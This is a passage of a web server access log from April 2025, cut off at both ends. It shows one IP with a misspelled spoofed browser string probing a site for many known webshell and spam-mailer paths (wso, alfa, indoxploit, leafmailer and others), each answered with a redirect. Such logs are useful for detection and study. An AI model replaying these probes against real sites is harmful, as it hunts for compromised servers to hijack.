"Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:18 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:24 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:29 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:32 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:34 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:36 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:40 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:43 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:46 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:49 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:52 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:54 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:56 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:00:58 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:01 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:04 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:06 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:11 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:15 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:18 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:23 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:27 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:29 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:32 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:35 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:39 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:41 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:44 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:46 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:49 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:17 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:22 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:27 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:33 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:36 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:40 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:44 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:50 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:53 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.159.141.150 - - [19/Apr/2025:12:03:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.195.129.164 - - [19/Apr/2025:12:03:56 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:58 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:00 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:02 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:06 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:11 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:31 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:33 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:35 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:38 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:40 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:43 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:45 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:49 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:54 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:59 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:03 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:03:10 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:51 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:54 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:01:57 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:00 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:02 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:07 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:13 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:17 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:21 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:02:26 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:57 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:59 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:02 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:07 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:10 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:13 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:15 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:18 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:20 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:23 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:26 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:29 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:31 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:33 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:35 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:37 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:40 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:43 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:46 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:49 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:55 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:05:58 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:02 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:05 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:11 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:14 -0400] "GET 